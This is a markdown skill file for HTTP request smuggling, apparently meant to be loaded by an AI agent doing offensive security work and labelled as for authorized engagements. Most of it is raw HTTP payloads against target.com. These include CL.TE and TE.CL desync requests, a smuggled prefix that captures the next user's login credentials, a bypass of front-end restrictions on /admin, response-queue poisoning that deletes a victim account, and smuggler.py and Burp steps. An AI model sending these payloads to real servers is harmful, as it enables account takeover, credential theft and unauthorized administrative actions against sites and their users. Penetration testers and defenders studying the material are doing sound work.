---
name: rt-request-smuggling
description: "HTTP Request Smuggling attack skill for authorized engagements. CL.TE and TE.CL desync attacks, HTTP/2 downgrade smuggling (H2.CL, H2.TE), request queue poisoning for account takeover, smuggling to bypass front-end security controls, capturing other users' requests, response queue poisoning, and Burp Suite smuggling detection. Use when testing applications behind reverse proxies, load balancers, or CDNs."
---

# rt-request-smuggling — HTTP Request Smuggling

## Overview

HTTP Request Smuggling exploits disagreements between front-end (proxy/CDN) and back-end servers about where one HTTP request ends and the next begins. The front-end sees one request; the back-end sees two — the second being a "smuggled" request that can poison the queue, hijack other users' requests, or bypass security controls.

**Conditions:** Front-end + back-end server, both parsing HTTP differently (Content-Length vs Transfer-Encoding).

---

## Phase 1 — Detection

```http
# CL.TE detection — front-end uses Content-Length, back-end uses TE
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X
```

```bash
# Burp Suite — HTTP Request Smuggler extension (BApp Store)
# Scanner → Scan → HTTP Request Smuggling

# Manual timing-based detection
# If response takes ~10s with no timeout set → backend stalled on incomplete chunk → CL.TE vulnerable

# smuggler.py — automated detection
git clone https://github.com/defparam/smuggler
python3 smuggler.py -u https://target.com/
```

---

## Phase 2 — CL.TE (Front-end: Content-Length, Back-end: Transfer-Encoding)

```http
# Smuggled prefix poisoning
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

```http
# Capture next user's request (account takeover)
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

username=captured_
# Next user's request body appends here → steals their credentials
```

---

## Phase 3 — TE.CL (Front-end: Transfer-Encoding, Back-end: Content-Length)

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

admin=true&x=
0
```

---

## Phase 4 — H2.CL / H2.TE (HTTP/2 Downgrade Smuggling)

```http
# HTTP/2 requests downgraded to HTTP/1.1 at the proxy
# Inject Content-Length or Transfer-Encoding in HTTP/2 headers

# H2.CL — inject Content-Length in HTTP/2
:method POST
:path /
:authority target.com
content-type application/x-www-form-urlencoded
content-length 0

# H2.TE — inject Transfer-Encoding in HTTP/2 pseudo-header
:method POST
transfer-encoding chunked
# Body follows with chunked encoding
```

```bash
# Burp Suite — HTTP/2 smuggling
# Repeater → toggle HTTP/2 → inject headers manually
# Inspector pane → add custom headers without content-length auto-calculation
```

---

## Phase 5 — Security Control Bypass

```http
# Bypass front-end IP restriction
# Front-end blocks /admin from external IPs
# Smuggle request to appear as internal

POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
Content-Length: 10

x=1
```

---

## Phase 6 — Response Queue Poisoning

```http
# Poison response queue → steal other users' responses
# Works when backend uses persistent connections

POST / HTTP/1.1
Host: target.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /admin/delete?user=victim HTTP/1.1
X: X
```

---

## Skill Levels

**BEGINNER:** Burp HTTP Request Smuggler extension for automated detection

**INTERMEDIATE:** Manual CL.TE/TE.CL with Burp Repeater · Security control bypass

**ADVANCED:** Request capture for account takeover · H2.CL/H2.TE HTTP/2 smuggling

**EXPERT:** Response queue poisoning · Custom timing-based detection · CDN-specific variants

---

## References

- PortSwigger Research: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- PortSwigger Lab: https://portswigger.net/web-security/request-smuggling
- smuggler.py: https://github.com/defparam/smuggler
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
